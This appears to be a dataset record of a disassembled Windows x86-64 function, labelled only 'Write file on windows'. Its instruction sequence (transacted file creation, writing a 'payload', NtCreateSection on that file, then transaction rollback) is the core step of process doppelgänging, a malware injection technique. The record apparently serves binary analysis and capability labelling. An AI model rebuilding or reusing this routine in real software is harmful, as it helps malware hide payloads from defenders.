Function at 0x1400046d0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x50], 0
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x70], eax
lea rcx, [0x14000ead4]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x78], rax
lea rdx, str.NtCreateSection
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x58]
mov r8d, dword [rsp + 0x70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ktmw32.dll_CreateTransaction]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0xffffffffffffffff
jne 0x14000479e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_transaction__Error_Code__x_n
call fcn.140001070
mov rax, 0xffffffffffffffff
jmp 0x140004938
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_CreateFileTransactedW]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0xffffffffffffffff
jne 0x140004819
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_transacted_file_Error_Code__x_n
call fcn.140001070
mov rax, 0xffffffffffffffff
jmp 0x140004938
mov dword [rsp + 0x90], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x90]
mov r8d, dword [rsp + 0xc0]
mov rdx, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140004874
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_writing_payload__Error_Code__x_n
call fcn.140001070
mov rax, 0xffffffffffffffff
jmp 0x140004938
mov qword [rsp + 0x88], 0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rsp + 0x88]
call qword [rsp + 0x80]
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0
je 0x1400048dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_NtCreateSection__Error_Code__x_n
call fcn.140001070
mov rax, 0xffffffffffffffff
jmp 0x140004938
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x60], 0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ktmw32.dll_RollbackTransaction]
test eax, eax
jne 0x14000491c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_RollbackTransaction__Error_Code__x_n
call fcn.140001070
mov rax, 0xffffffffffffffff
jmp 0x140004938
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x68], 0
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.14000b3a0
add rsp, 0xa8
ret